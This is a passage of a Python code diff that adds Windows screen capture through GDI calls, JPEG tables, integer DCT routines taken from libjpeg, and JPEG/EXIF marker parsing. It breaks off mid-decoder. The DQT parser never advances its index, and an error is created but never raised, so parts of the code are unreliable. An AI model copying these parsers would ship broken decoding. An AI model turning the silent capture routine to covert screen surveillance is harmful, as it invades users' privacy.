| 158 |
+
b'width': int(right - left),
|
| 159 |
+
b'height': int(bottom - top)
|
| 160 |
+
})
|
| 161 |
+
else:
|
| 162 |
+
|
| 163 |
+
def _callback(monitor, dc, rect, data):
|
| 164 |
+
rct = rect.contents
|
| 165 |
+
monitors.append({
|
| 166 |
+
b'left': int(rct.left),
|
| 167 |
+
b'top': int(rct.top),
|
| 168 |
+
b'width': int(rct.right - rct.left),
|
| 169 |
+
b'height': int(rct.bottom - rct.top)
|
| 170 |
+
})
|
| 171 |
+
return 1
|
| 172 |
+
|
| 173 |
+
monitors = []
|
| 174 |
+
callback = self.MONITORENUMPROC(_callback)
|
| 175 |
+
windll.user32.EnumDisplayMonitors(0, 0, callback, 0)
|
| 176 |
+
for mon in monitors:
|
| 177 |
+
yield mon
|
| 178 |
+
|
| 179 |
+
def get_pixels(self, monitor):
|
| 180 |
+
|
| 181 |
+
width, height = monitor[b'width'], monitor[b'height']
|
| 182 |
+
left, top = monitor[b'left'], monitor[b'top']
|
| 183 |
+
SRCCOPY = 0xCC0020
|
| 184 |
+
DIB_RGB_COLORS = BI_RGB = 0
|
| 185 |
+
srcdc = memdc = bmp = None
|
| 186 |
+
|
| 187 |
+
try:
|
| 188 |
+
bmi = BITMAPINFO()
|
| 189 |
+
bmi.bmiHeader.biSize = sizeof(BITMAPINFOHEADER)
|
| 190 |
+
bmi.bmiHeader.biWidth = width
|
| 191 |
+
bmi.bmiHeader.biHeight = -height # Why minus? See [1]
|
| 192 |
+
bmi.bmiHeader.biPlanes = 1 # Always 1
|
| 193 |
+
bmi.bmiHeader.biBitCount = 24
|
| 194 |
+
bmi.bmiHeader.biCompression = BI_RGB
|
| 195 |
+
buffer_len = height * width * 3
|
| 196 |
+
self.image = create_string_buffer(buffer_len)
|
| 197 |
+
srcdc = windll.user32.GetWindowDC(0)
|
| 198 |
+
memdc = windll.gdi32.CreateCompatibleDC(srcdc)
|
| 199 |
+
bmp = windll.gdi32.CreateCompatibleBitmap(srcdc, width, height)
|
| 200 |
+
windll.gdi32.SelectObject(memdc, bmp)
|
| 201 |
+
windll.gdi32.BitBlt(memdc, 0, 0, width, height, srcdc, left, top,
|
| 202 |
+
SRCCOPY)
|
| 203 |
+
bits = windll.gdi32.GetDIBits(memdc, bmp, 0, height, self.image,
|
| 204 |
+
bmi, DIB_RGB_COLORS)
|
| 205 |
+
if bits != height:
|
| 206 |
+
raise ScreenshotError('MSS: GetDIBits() failed.')
|
| 207 |
+
finally:
|
| 208 |
+
# Clean up
|
| 209 |
+
if srcdc:
|
| 210 |
+
windll.gdi32.DeleteObject(srcdc)
|
| 211 |
+
if memdc:
|
| 212 |
+
windll.gdi32.DeleteObject(memdc)
|
| 213 |
+
if bmp:
|
| 214 |
+
windll.gdi32.DeleteObject(bmp)
|
| 215 |
+
|
| 216 |
+
self.image[2:buffer_len:3], self.image[0:buffer_len:3] = \
|
| 217 |
+
self.image[0:buffer_len:3], self.image[2:buffer_len:3]
|
| 218 |
+
return self.image
|
| 219 |
+
|
| 220 |
+
|
| 221 |
+
def mss(*args, **kwargs):
|
| 222 |
+
|
| 223 |
+
mss_class = {
|
| 224 |
+
'Windows': MSSWindows
|
| 225 |
+
}[system()]
|
| 226 |
+
|
| 227 |
+
return mss_class(*args, **kwargs)
|
| 228 |
+
|
| 229 |
+
|
| 230 |
+
class readable(object):
|
| 231 |
+
|
| 232 |
+
__slots__ = 'data', 'position'
|
| 233 |
+
|
| 234 |
+
def __init__(self, data):
|
| 235 |
+
self.data = data
|
| 236 |
+
self.position = 0
|
| 237 |
+
|
| 238 |
+
def clone(self):
|
| 239 |
+
return copy(self)
|
| 240 |
+
|
| 241 |
+
def jump(self, position):
|
| 242 |
+
self.position = position
|
| 243 |
+
|
| 244 |
+
def skip(self, length):
|
| 245 |
+
self.position += length
|
| 246 |
+
|
| 247 |
+
def peek(self, prefix):
|
| 248 |
+
return self.data.startswith(prefix, self.position)
|
| 249 |
+
|
| 250 |
+
def read(self, length):
|
| 251 |
+
p = self.position
|
| 252 |
+
self.position += length
|
| 253 |
+
return self.data[p:self.position]
|
| 254 |
+
|
| 255 |
+
def parse(self, fmt):
|
| 256 |
+
p = self.position
|
| 257 |
+
self.position += calcsize(fmt)
|
| 258 |
+
return unpack_from(fmt, self.data, p)
|
| 259 |
+
|
| 260 |
+
def uint8(self):
|
| 261 |
+
p = self.position
|
| 262 |
+
self.position += 1
|
| 263 |
+
return self.data[p]
|
| 264 |
+
|
| 265 |
+
def uint16(self):
|
| 266 |
+
d, p = self.data, self.position
|
| 267 |
+
self.position += 2
|
| 268 |
+
return d[p] << 8 | d[p+1]
|
| 269 |
+
|
| 270 |
+
def uint32(self):
|
| 271 |
+
d, p = self.data, self.position
|
| 272 |
+
self.position += 4
|
| 273 |
+
return d[p] << 24 | d[p+1] << 16 | d[p+2] << 8 | d[p+3]
|
| 274 |
+
|
| 275 |
+
def int8(self):
|
| 276 |
+
t = self.uint8()
|
| 277 |
+
return t - ((t & (1 << 7)) << 1)
|
| 278 |
+
|
| 279 |
+
def int16(self):
|
| 280 |
+
t = self.uint16()
|
| 281 |
+
return t - ((t & (1 << 15)) << 1)
|
| 282 |
+
|
| 283 |
+
def int32(self):
|
| 284 |
+
t = self.uint32()
|
| 285 |
+
return t - ((t & (1 << 31)) << 1)
|
| 286 |
+
|
| 287 |
+
def uint16le(self):
|
| 288 |
+
d, p = self.data, self.position
|
| 289 |
+
self.position += 2
|
| 290 |
+
return d[p] | d[p+1] << 8
|
| 291 |
+
|
| 292 |
+
def uint32le(self):
|
| 293 |
+
d, p = self.data, self.position
|
| 294 |
+
self.position += 4
|
| 295 |
+
return d[p] | d[p+1] << 8 | d[p+2] << 16 | d[p+3] << 24
|
| 296 |
+
|
| 297 |
+
def int16le(self):
|
| 298 |
+
t = self.uint16le()
|
| 299 |
+
return t - ((t & (1 << 15)) << 1)
|
| 300 |
+
|
| 301 |
+
def int32le(self):
|
| 302 |
+
t = self.uint32le()
|
| 303 |
+
return t - ((t & (1 << 31)) << 1)
|
| 304 |
+
|
| 305 |
+
|
| 306 |
+
def clamp(x):
|
| 307 |
+
return 0 if x < 0 else 255 if x > 255 else x
|
| 308 |
+
|
| 309 |
+
def save(path, data):
|
| 310 |
+
if path:
|
| 311 |
+
with open(path, 'wb') as f:
|
| 312 |
+
f.write(data)
|
| 313 |
+
return data
|
| 314 |
+
|
| 315 |
+
|
| 316 |
+
_z_z = bytes([ # Zig-zag indices of AC coefficients
|
| 317 |
+
1, 8, 16, 9, 2, 3, 10, 17, 24, 32, 25, 18, 11, 4, 5,
|
| 318 |
+
12, 19, 26, 33, 40, 48, 41, 34, 27, 20, 13, 6, 7, 14, 21, 28,
|
| 319 |
+
35, 42, 49, 56, 57, 50, 43, 36, 29, 22, 15, 23, 30, 37, 44, 51,
|
| 320 |
+
58, 59, 52, 45, 38, 31, 39, 46, 53, 60, 61, 54, 47, 55, 62, 63])
|
| 321 |
+
|
| 322 |
+
|
| 323 |
+
|
| 324 |
+
|
| 325 |
+
_luminance_quantization = bytes([ # Luminance quantization table in zig-zag order
|
| 326 |
+
16, 11, 12, 14, 12, 10, 16, 14, 13, 14, 18, 17, 16, 19, 24, 40,
|
| 327 |
+
26, 24, 22, 22, 24, 49, 35, 37, 29, 40, 58, 51, 61, 60, 57, 51,
|
| 328 |
+
56, 55, 64, 72, 92, 78, 64, 68, 87, 69, 55, 56, 80,109, 81, 87,
|
| 329 |
+
95, 98,103,104,103, 62, 77,113,121,112,100,120, 92,101,103, 99])
|
| 330 |
+
_chrominance_quantization = bytes([ # Chrominance quantization table in zig-zag order
|
| 331 |
+
17, 18, 18, 24, 21, 24, 47, 26, 26, 47, 99, 66, 56, 66, 99, 99,
|
| 332 |
+
99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99,
|
| 333 |
+
99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99,
|
| 334 |
+
99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99])
|
| 335 |
+
|
| 336 |
+
_ld_lengths = bytes([ # Luminance DC code lengths
|
| 337 |
+
0, 1, 5, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0])
|
| 338 |
+
_ld_values = bytes([ # Luminance DC values
|
| 339 |
+
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11])
|
| 340 |
+
_la_lengths = bytes([ # Luminance AC code lengths
|
| 341 |
+
0, 2, 1, 3, 3, 2, 4, 3, 5, 5, 4, 4, 0, 0, 1, 125])
|
| 342 |
+
_la_values = bytes([ # Luminance AC values
|
| 343 |
+
1, 2, 3, 0, 4, 17, 5, 18, 33, 49, 65, 6, 19, 81, 97, 7, 34,113,
|
| 344 |
+
20, 50,129,145,161, 8, 35, 66,177,193, 21, 82,209,240, 36, 51, 98,114,
|
| 345 |
+
130, 9, 10, 22, 23, 24, 25, 26, 37, 38, 39, 40, 41, 42, 52, 53, 54, 55,
|
| 346 |
+
56, 57, 58, 67, 68, 69, 70, 71, 72, 73, 74, 83, 84, 85, 86, 87, 88, 89,
|
| 347 |
+
90, 99,100,101,102,103,104,105,106,115,116,117,118,119,120,121,122,131,
|
| 348 |
+
132,133,134,135,136,137,138,146,147,148,149,150,151,152,153,154,162,163,
|
| 349 |
+
164,165,166,167,168,169,170,178,179,180,181,182,183,184,185,186,194,195,
|
| 350 |
+
196,197,198,199,200,201,202,210,211,212,213,214,215,216,217,218,225,226,
|
| 351 |
+
227,228,229,230,231,232,233,234,241,242,243,244,245,246,247,248,249,250])
|
| 352 |
+
_cd_lengths = bytes([ # Chrominance DC code lengths
|
| 353 |
+
0, 3, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0])
|
| 354 |
+
_cd_values = bytes([ # Chrominance DC values
|
| 355 |
+
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11])
|
| 356 |
+
_ca_lengths = bytes([ # Chrominance AC code lengths
|
| 357 |
+
0, 2, 1, 2, 4, 4, 3, 4, 7, 5, 4, 4, 0, 1, 2, 119])
|
| 358 |
+
_ca_values = bytes([ # Chrominance AC values
|
| 359 |
+
0, 1, 2, 3, 17, 4, 5, 33, 49, 6, 18, 65, 81, 7, 97,113, 19, 34,
|
| 360 |
+
50,129, 8, 20, 66,145,161,177,193, 9, 35, 51, 82,240, 21, 98,114,209,
|
| 361 |
+
10, 22, 36, 52,225, 37,241, 23, 24, 25, 26, 38, 39, 40, 41, 42, 53, 54,
|
| 362 |
+
55, 56, 57, 58, 67, 68, 69, 70, 71, 72, 73, 74, 83, 84, 85, 86, 87, 88,
|
| 363 |
+
89, 90, 99,100,101,102,103,104,105,106,115,116,117,118,119,120,121,122,
|
| 364 |
+
130,131,132,133,134,135,136,137,138,146,147,148,149,150,151,152,153,154,
|
| 365 |
+
162,163,164,165,166,167,168,169,170,178,179,180,181,182,183,184,185,186,
|
| 366 |
+
194,195,196,197,198,199,200,201,202,210,211,212,213,214,215,216,217,218,
|
| 367 |
+
226,227,228,229,230,231,232,233,234,242,243,244,245,246,247,248,249,250])
|
| 368 |
+
|
| 369 |
+
|
| 370 |
+
|
| 371 |
+
|
| 372 |
+
def _inverse_dct(block, q):
|
| 373 |
+
# Ref.: Independent JPEG Group's "jidctint.c", v8d
|
| 374 |
+
# Copyright (C) 1994-1996, Thomas G. Lane
|
| 375 |
+
# Modification developed 2003-2009 by Guido Vollbeding
|
| 376 |
+
for i in range(8):
|
| 377 |
+
z2 = block[16+i]*q[16+i]
|
| 378 |
+
z3 = block[48+i]*q[48+i]
|
| 379 |
+
z1 = (z2 + z3)*4433 # FIX_0_541196100
|
| 380 |
+
tmp2 = z1 + z2*6270 # FIX_0_765366865
|
| 381 |
+
tmp3 = z1 - z3*15137 # FIX_1_847759065
|
| 382 |
+
z2 = block[i]*q[i]
|
| 383 |
+
z3 = block[32+i]*q[32+i]
|
| 384 |
+
z2 <<= 13 # CONST_BITS
|
| 385 |
+
z3 <<= 13
|
| 386 |
+
z2 += 1024 # 1 << CONST_BITS-PASS1_BITS-1
|
| 387 |
+
tmp0 = z2 + z3
|
| 388 |
+
tmp1 = z2 - z3
|
| 389 |
+
tmp10 = tmp0 + tmp2
|
| 390 |
+
tmp13 = tmp0 - tmp2
|
| 391 |
+
tmp11 = tmp1 + tmp3
|
| 392 |
+
tmp12 = tmp1 - tmp3
|
| 393 |
+
tmp0 = block[56+i]*q[56+i]
|
| 394 |
+
tmp1 = block[40+i]*q[40+i]
|
| 395 |
+
tmp2 = block[24+i]*q[24+i]
|
| 396 |
+
tmp3 = block[8+i]*q[8+i]
|
| 397 |
+
z2 = tmp0 + tmp2
|
| 398 |
+
z3 = tmp1 + tmp3
|
| 399 |
+
z1 = (z2 + z3)*9633 # FIX_1_175875602
|
| 400 |
+
z2 = z2*-16069 # FIX_1_961570560
|
| 401 |
+
z3 = z3*-3196 # FIX_0_390180644
|
| 402 |
+
z2 += z1
|
| 403 |
+
z3 += z1
|
| 404 |
+
z1 = (tmp0 + tmp3)*-7373 # FIX_0_899976223
|
| 405 |
+
tmp0 = tmp0*2446 # FIX_0_298631336
|
| 406 |
+
tmp3 = tmp3*12299 # FIX_1_501321110
|
| 407 |
+
tmp0 += z1 + z2
|
| 408 |
+
tmp3 += z1 + z3
|
| 409 |
+
z1 = (tmp1 + tmp2)*-20995 # FIX_2_562915447
|
| 410 |
+
tmp1 = tmp1*16819 # FIX_2_053119869
|
| 411 |
+
tmp2 = tmp2*25172 # FIX_3_072711026
|
| 412 |
+
tmp1 += z1 + z3
|
| 413 |
+
tmp2 += z1 + z2
|
| 414 |
+
block[i] = (tmp10 + tmp3) >> 11 # CONST_BITS-PASS1_BITS
|
| 415 |
+
block[56+i] = (tmp10 - tmp3) >> 11
|
| 416 |
+
block[8+i] = (tmp11 + tmp2) >> 11
|
| 417 |
+
block[48+i] = (tmp11 - tmp2) >> 11
|
| 418 |
+
block[16+i] = (tmp12 + tmp1) >> 11
|
| 419 |
+
block[40+i] = (tmp12 - tmp1) >> 11
|
| 420 |
+
block[24+i] = (tmp13 + tmp0) >> 11
|
| 421 |
+
block[32+i] = (tmp13 - tmp0) >> 11
|
| 422 |
+
for i in range(0, 64, 8):
|
| 423 |
+
z2 = block[2+i]
|
| 424 |
+
z3 = block[6+i]
|
| 425 |
+
z1 = (z2 + z3)*4433 # FIX_0_541196100
|
| 426 |
+
tmp2 = z1 + z2*6270 # FIX_0_765366865
|
| 427 |
+
tmp3 = z1 - z3*15137 # FIX_1_847759065
|
| 428 |
+
z2 = block[i] + 16 # 1 << (PASS1_BITS+2)
|
| 429 |
+
z3 = block[4+i]
|
| 430 |
+
tmp0 = (z2 + z3) << 13 # CONST_BITS
|
| 431 |
+
tmp1 = (z2 - z3) << 13
|
| 432 |
+
tmp10 = tmp0 + tmp2
|
| 433 |
+
tmp13 = tmp0 - tmp2
|
| 434 |
+
tmp11 = tmp1 + tmp3
|
| 435 |
+
tmp12 = tmp1 - tmp3
|
| 436 |
+
tmp0 = block[7+i]
|
| 437 |
+
tmp1 = block[5+i]
|
| 438 |
+
tmp2 = block[3+i]
|
| 439 |
+
tmp3 = block[1+i]
|
| 440 |
+
z2 = tmp0 + tmp2
|
| 441 |
+
z3 = tmp1 + tmp3
|
| 442 |
+
z1 = (z2 + z3)*9633 # FIX_1_175875602
|
| 443 |
+
z2 = z2*-16069 # FIX_1_961570560
|
| 444 |
+
z3 = z3*-3196 # FIX_0_390180644
|
| 445 |
+
z2 += z1
|
| 446 |
+
z3 += z1
|
| 447 |
+
z1 = (tmp0 + tmp3)*-7373 # FIX_0_899976223
|
| 448 |
+
tmp0 = tmp0*2446 # FIX_0_298631336
|
| 449 |
+
tmp3 = tmp3*12299 # FIX_1_501321110
|
| 450 |
+
tmp0 += z1 + z2
|
| 451 |
+
tmp3 += z1 + z3
|
| 452 |
+
z1 = (tmp1 + tmp2)*-20995 # FIX_2_562915447
|
| 453 |
+
tmp1 = tmp1*16819 # FIX_2_053119869
|
| 454 |
+
tmp2 = tmp2*25172 # FIX_3_072711026
|
| 455 |
+
tmp1 += z1 + z3
|
| 456 |
+
tmp2 += z1 + z2
|
| 457 |
+
block[i] = (tmp10 + tmp3) >> 18 # (CONST_BITS+PASS1_BITS+3)
|
| 458 |
+
block[7+i] = (tmp10 - tmp3) >> 18
|
| 459 |
+
block[1+i] = (tmp11 + tmp2) >> 18
|
| 460 |
+
block[6+i] = (tmp11 - tmp2) >> 18
|
| 461 |
+
block[2+i] = (tmp12 + tmp1) >> 18
|
| 462 |
+
block[5+i] = (tmp12 - tmp1) >> 18
|
| 463 |
+
block[3+i] = (tmp13 + tmp0) >> 18
|
| 464 |
+
block[4+i] = (tmp13 - tmp0) >> 18
|
| 465 |
+
|
| 466 |
+
def _forward_dct(block):
|
| 467 |
+
# Ref.: Independent JPEG Group's "jfdctint.c", v8d
|
| 468 |
+
# Copyright (C) 1994-1996, Thomas G. Lane
|
| 469 |
+
# Modification developed 2003-2009 by Guido Vollbeding
|
| 470 |
+
for i in range(0, 64, 8):
|
| 471 |
+
tmp0 = block[i] + block[i+7]
|
| 472 |
+
tmp1 = block[i+1] + block[i+6]
|
| 473 |
+
tmp2 = block[i+2] + block[i+5]
|
| 474 |
+
tmp3 = block[i+3] + block[i+4]
|
| 475 |
+
tmp10 = tmp0 + tmp3
|
| 476 |
+
tmp12 = tmp0 - tmp3
|
| 477 |
+
tmp11 = tmp1 + tmp2
|
| 478 |
+
tmp13 = tmp1 - tmp2
|
| 479 |
+
tmp0 = block[i] - block[i+7]
|
| 480 |
+
tmp1 = block[i+1] - block[i+6]
|
| 481 |
+
tmp2 = block[i+2] - block[i+5]
|
| 482 |
+
tmp3 = block[i+3] - block[i+4]
|
| 483 |
+
block[i] = (tmp10 + tmp11 - 8*128) << 2 # PASS1_BITS
|
| 484 |
+
block[i+4] = (tmp10 - tmp11) << 2
|
| 485 |
+
z1 = (tmp12 + tmp13)*4433 # FIX_0_541196100
|
| 486 |
+
z1 += 1024 # 1 << (CONST_BITS-PASS1_BITS-1)
|
| 487 |
+
block[i+2] = (z1 + tmp12*6270) >> 11 # FIX_0_765366865
|
| 488 |
+
block[i+6] = (z1 - tmp13*15137) >> 11 # FIX_1_847759065
|
| 489 |
+
tmp10 = tmp0 + tmp3
|
| 490 |
+
tmp11 = tmp1 + tmp2
|
| 491 |
+
tmp12 = tmp0 + tmp2
|
| 492 |
+
tmp13 = tmp1 + tmp3
|
| 493 |
+
z1 = (tmp12 + tmp13)*9633 # FIX_1_175875602
|
| 494 |
+
z1 += 1024 # 1 << (CONST_BITS-PASS1_BITS-1)
|
| 495 |
+
tmp0 = tmp0*12299 # FIX_1_501321110
|
| 496 |
+
tmp1 = tmp1*25172 # FIX_3_072711026
|
| 497 |
+
tmp2 = tmp2*16819 # FIX_2_053119869
|
| 498 |
+
tmp3 = tmp3*2446 # FIX_0_298631336
|
| 499 |
+
tmp10 = tmp10*-7373 # FIX_0_899976223
|
| 500 |
+
tmp11 = tmp11*-20995 # FIX_2_562915447
|
| 501 |
+
tmp12 = tmp12*-3196 # FIX_0_390180644
|
| 502 |
+
tmp13 = tmp13*-16069 # FIX_1_961570560
|
| 503 |
+
tmp12 += z1
|
| 504 |
+
tmp13 += z1
|
| 505 |
+
block[i+1] = (tmp0 + tmp10 + tmp12) >> 11
|
| 506 |
+
block[i+3] = (tmp1 + tmp11 + tmp13) >> 11
|
| 507 |
+
block[i+5] = (tmp2 + tmp11 + tmp12) >> 11
|
| 508 |
+
block[i+7] = (tmp3 + tmp10 + tmp13) >> 11
|
| 509 |
+
for i in range(8):
|
| 510 |
+
tmp0 = block[i] + block[i+56]
|
| 511 |
+
tmp1 = block[i+8] + block[i+48]
|
| 512 |
+
tmp2 = block[i+16] + block[i+40]
|
| 513 |
+
tmp3 = block[i+24] + block[i+32]
|
| 514 |
+
tmp10 = tmp0 + tmp3 + 2 # 1 << (PASS1_BITS-1)
|
| 515 |
+
tmp12 = tmp0 - tmp3
|
| 516 |
+
tmp11 = tmp1 + tmp2
|
| 517 |
+
tmp13 = tmp1 - tmp2
|
| 518 |
+
tmp0 = block[i] - block[i+56]
|
| 519 |
+
tmp1 = block[i+8] - block[i+48]
|
| 520 |
+
tmp2 = block[i+16] - block[i+40]
|
| 521 |
+
tmp3 = block[i+24] - block[i+32]
|
| 522 |
+
block[i] = (tmp10 + tmp11) >> 2 # PASS1_BITS
|
| 523 |
+
block[i+32] = (tmp10 - tmp11) >> 2
|
| 524 |
+
z1 = (tmp12 + tmp13)*4433 # FIX_0_541196100
|
| 525 |
+
z1 += 16384 # 1 << (CONST_BITS+PASS1_BITS-1)
|
| 526 |
+
block[i+16] = (z1 + tmp12*6270) >> 15 # FIX_0_765366865, CONST_BITS+PASS1_BITS
|
| 527 |
+
block[i+48] = (z1 - tmp13*15137) >> 15 # FIX_1_847759065
|
| 528 |
+
tmp10 = tmp0 + tmp3
|
| 529 |
+
tmp11 = tmp1 + tmp2
|
| 530 |
+
tmp12 = tmp0 + tmp2
|
| 531 |
+
tmp13 = tmp1 + tmp3
|
| 532 |
+
z1 = (tmp12 + tmp13)*9633 # FIX_1_175875602
|
| 533 |
+
z1 += 16384 # 1 << (CONST_BITS+PASS1_BITS-1)
|
| 534 |
+
tmp0 = tmp0*12299 # FIX_1_501321110
|
| 535 |
+
tmp1 = tmp1*25172 # FIX_3_072711026
|
| 536 |
+
tmp2 = tmp2*16819 # FIX_2_053119869
|
| 537 |
+
tmp3 = tmp3*2446 # FIX_0_298631336
|
| 538 |
+
tmp10 = tmp10*-7373 # FIX_0_899976223
|
| 539 |
+
tmp11 = tmp11*-20995 # FIX_2_562915447
|
| 540 |
+
tmp12 = tmp12*-3196 # FIX_0_390180644
|
| 541 |
+
tmp13 = tmp13*-16069 # FIX_1_961570560
|
| 542 |
+
tmp12 += z1
|
| 543 |
+
tmp13 += z1
|
| 544 |
+
block[i+8] = (tmp0 + tmp10 + tmp12) >> 15 # CONST_BITS+PASS1_BITS
|
| 545 |
+
block[i+24] = (tmp1 + tmp11 + tmp13) >> 15
|
| 546 |
+
block[i+40] = (tmp2 + tmp11 + tmp12) >> 15
|
| 547 |
+
block[i+56] = (tmp3 + tmp10 + tmp13) >> 15
|
| 548 |
+
|
| 549 |
+
|
| 550 |
+
|
| 551 |
+
|
| 552 |
+
def _parse_sof(readable, components):
|
| 553 |
+
depth, height, width, n = readable.parse('>BHHB')
|
| 554 |
+
if depth != 8:
|
| 555 |
+
raise ValueError('Unsupported sample precision.')
|
| 556 |
+
if n == 1:
|
| 557 |
+
kind = 'g'
|
| 558 |
+
elif n == 3:
|
| 559 |
+
kind = 'rgb'
|
| 560 |
+
elif n == 4:
|
| 561 |
+
kind = 'cmyk'
|
| 562 |
+
else:
|
| 563 |
+
ValueError('Unsupported color type.')
|
| 564 |
+
for i in range(n):
|
| 565 |
+
identifier, sampling, destination = readable.parse('>BBB')
|
| 566 |
+
h, v = sampling >> 4, sampling & 15
|
| 567 |
+
if h not in (1, 2, 4):
|
| 568 |
+
raise ValueError('Invalid horizontal sampling factor.')
|
| 569 |
+
if v not in (1, 2, 4):
|
| 570 |
+
raise ValueError('Invalid vertical sampling factor.')
|
| 571 |
+
if i > 0:
|
| 572 |
+
if h != 1 or v != 1:
|
| 573 |
+
raise ValueError('Unsupported sampling factor.')
|
| 574 |
+
if n == 1:
|
| 575 |
+
h, v = 1, 1
|
| 576 |
+
components.append(_frame_component(identifier, h, v, destination))
|
| 577 |
+
return width, height, kind, n
|
| 578 |
+
|
| 579 |
+
def _parse_dqt(readable, length, qtables):
|
| 580 |
+
end = readable.position + length
|
| 581 |
+
while readable.position < end:
|
| 582 |
+
pqtq = readable.uint8()
|
| 583 |
+
precision, destination = pqtq >> 4, pqtq & 15
|
| 584 |
+
if precision != 0:
|
| 585 |
+
raise ValueError('Unsuported qtable element precision.')
|
| 586 |
+
if destination >= 4:
|
| 587 |
+
raise ValueError('Invalid qtable destination identifier.')
|
| 588 |
+
elements = readable.read(64)
|
| 589 |
+
table = bytearray(64)
|
| 590 |
+
table[0] = elements[0]
|
| 591 |
+
i = 1
|
| 592 |
+
for z in _z_z:
|
| 593 |
+
table[z] = elements[i]
|
| 594 |
+
qtables[destination] = table
|
| 595 |
+
if readable.position != end:
|
| 596 |
+
raise ValueError('Invalid DQT length.')
|
| 597 |
+
|
| 598 |
+
def _parse_dht(readable, length, htables):
|
| 599 |
+
end = readable.position + length
|
| 600 |
+
while readable.position < end:
|
| 601 |
+
tcth = readable.uint8()
|
| 602 |
+
kind, identifier = tcth >> 4, tcth & 15
|
| 603 |
+
if kind >= 2:
|
| 604 |
+
raise ValueError('Invalid htable class.')
|
| 605 |
+
if identifier >= 2:
|
| 606 |
+
raise ValueError('Unsupported htable destination identifier.')
|
| 607 |
+
lengths = readable.read(16)
|
| 608 |
+
values = readable.read(sum(lengths))
|
| 609 |
+
htables[tcth] = _huffman_cache(lengths, values)
|
| 610 |
+
if readable.position != end:
|
| 611 |
+
raise ValueError('Invalid DHT length.')
|
| 612 |
+
|
| 613 |
+
def _parse_sos(readable, scans):
|
| 614 |
+
n = readable.uint8()
|
| 615 |
+
for i in range(n):
|
| 616 |
+
selector, destinations = readable.parse('>BB')
|
| 617 |
+
dc, ac = destinations >> 4, destinations & 15
|
| 618 |
+
scans[selector] = _coding_destination(dc, 16|ac) # ACs always have Tc == 1
|
| 619 |
+
readable.skip(3) # start, end, approximation
|
| 620 |
+
|
| 621 |
+
def _parse_dri(readable):
|
| 622 |
+
interval = readable.uint16()
|
| 623 |
+
return interval
|
| 624 |
+
|
| 625 |
+
def _parse_app1(readable, length, rotation):
|
| 626 |
+
end = readable.position + length
|
| 627 |
+
if readable.peek(b'Exif\0\0'):
|
| 628 |
+
readable.skip(5 + 1) # header, padding
|
| 629 |
+
order = readable.uint16()
|
| 630 |
+
if order == 0x4d4d: # MM
|
| 631 |
+
uint16, uint32 = readable.uint16, readable.uint32
|
| 632 |
+
elif order == 0x4949: # II
|
| 633 |
+
uint16, uint32 = readable.uint16le, readable.uint32le
|
| 634 |
+
else:
|
| 635 |
+
raise ValueError('Invalid byte order.')
|
| 636 |
+
readable.skip(2) # 42
|
| 637 |
+
offset = uint32()
|
| 638 |
+
if offset < 8:
|
| 639 |
+
raise ValueError('Invalid IFD0 offset.')
|
| 640 |
+
readable.skip(offset - 8)
|
| 641 |
+
n = uint16()
|
| 642 |
+
for i in range(n):
|
| 643 |
+
tag = uint16()
|
| 644 |
+
readable.skip(2 + 4) # kind, size
|
| 645 |
+
if tag == 0x112: # orientation
|
| 646 |
+
orientation = uint16()
|
| 647 |
+
if orientation < 1 or orientation > 8:
|
| 648 |
+
raise ValueError('Invalid orientation value.')
|
| 649 |
+
if orientation == 1:
|
| 650 |
+
rotation = 0
|
| 651 |
+
elif orientation == 6:
|
| 652 |
+
rotation = 90
|
| 653 |
+
elif orientation == 3:
|
| 654 |
+
rotation = 180
|
| 655 |
+
elif orientation == 8:
|
| 656 |
+
rotation = 270
|
| 657 |
+
else:
|
| 658 |
+
raise ValueError('Unsupported orientation value.')
|
| 659 |
+
break
|
| 660 |
+
readable.skip(4) # value
|
| 661 |
+
readable.jump(end)
|
| 662 |
+
return rotation
|
| 663 |
+
|
| 664 |
+
def _parse_app14(readable):
|
| 665 |
+
readable.skip(6 + 1 + 2 + 2) # tag, version, flags0, flags1
|
| 666 |
+
transform = readable.uint8()
|
| 667 |
+
return transform
|
| 668 |
+
|
| 669 |
+
class _frame_component(object):
|
| 670 |
+
|
| 671 |
+
__slots__ = 'identifier', 'h', 'v', 'destination'
|
| 672 |
+
|
| 673 |
+
def __init__(self, identifier, h, v, destination):
|
| 674 |
+
self.identifier, self.h, self.v, self.destination = identifier, h, v, destination
|
| 675 |
+
|
| 676 |
+
class _coding_destination(object):
|
| 677 |
+
|
| 678 |
+
__slots__ = 'dc', 'ac'
|
| 679 |
+
|
| 680 |
+
def __init__(self, dc, ac):
|
| 681 |
+
self.dc, self.ac = dc, ac
|
| 682 |
+
|
| 683 |
+
class _huffman_cache(object):
|
| 684 |
+
|
| 685 |
+
def __init__(self, lengths, values):
|
| 686 |
+
self.values = values
|
| 687 |
+
self.offsets = offsets = array('H', [0])
|
| 688 |
+
self.sizes = sizes = bytearray([255]*65536)
|
| 689 |
+
code = index = 0
|
| 690 |
+
size = 1
|
| 691 |
+
for length in lengths:
|
| 692 |
+
offsets.append(code - index)
|
| 693 |
+
for i in range(length):
|
| 694 |
+
hi = code << (16 - size)
|
| 695 |
+
for lo in range(1 << (16 - size)):
|
| 696 |
+
sizes[hi|lo] = size
|
| 697 |
+
code += 1
|
| 698 |
+
code *= 2
|
| 699 |
+
index += length
|
| 700 |
+
size += 1
|
| 701 |
+
|
| 702 |
+
class _entropy_decoder(object):
|
| 703 |
+
|
| 704 |
+
def __init__(self, readable):
|
| 705 |
+
self.readable = readable
|
| 706 |
+
self.value = 0
|
| 707 |
+
self.length = 0
|
| 708 |
+
self.rst = 0
|
| 709 |
+
|
| 710 |
+
def restart(self):
|
| 711 |
+
marker = self.readable.uint16()
|
| 712 |
+
if marker != 0xffd0 + self.rst:
|
| 713 |
+
raise ValueError('Invalid RST marker.')
|
| 714 |
+
self.value = 0
|
| 715 |
+
self.length = 0
|
| 716 |
+
self.rst = (self.rst + 1) & 7
|
| 717 |
+
|
| 718 |
+
def fill(self, length):
|
| 719 |
+
while True:
|
| 720 |
+
byte = self.readable.uint8()
|
| 721 |
+
self.value = ((self.value & 0xffff) << 8) | byte
|
| 722 |
+
self.length += 8
|
| 723 |
+
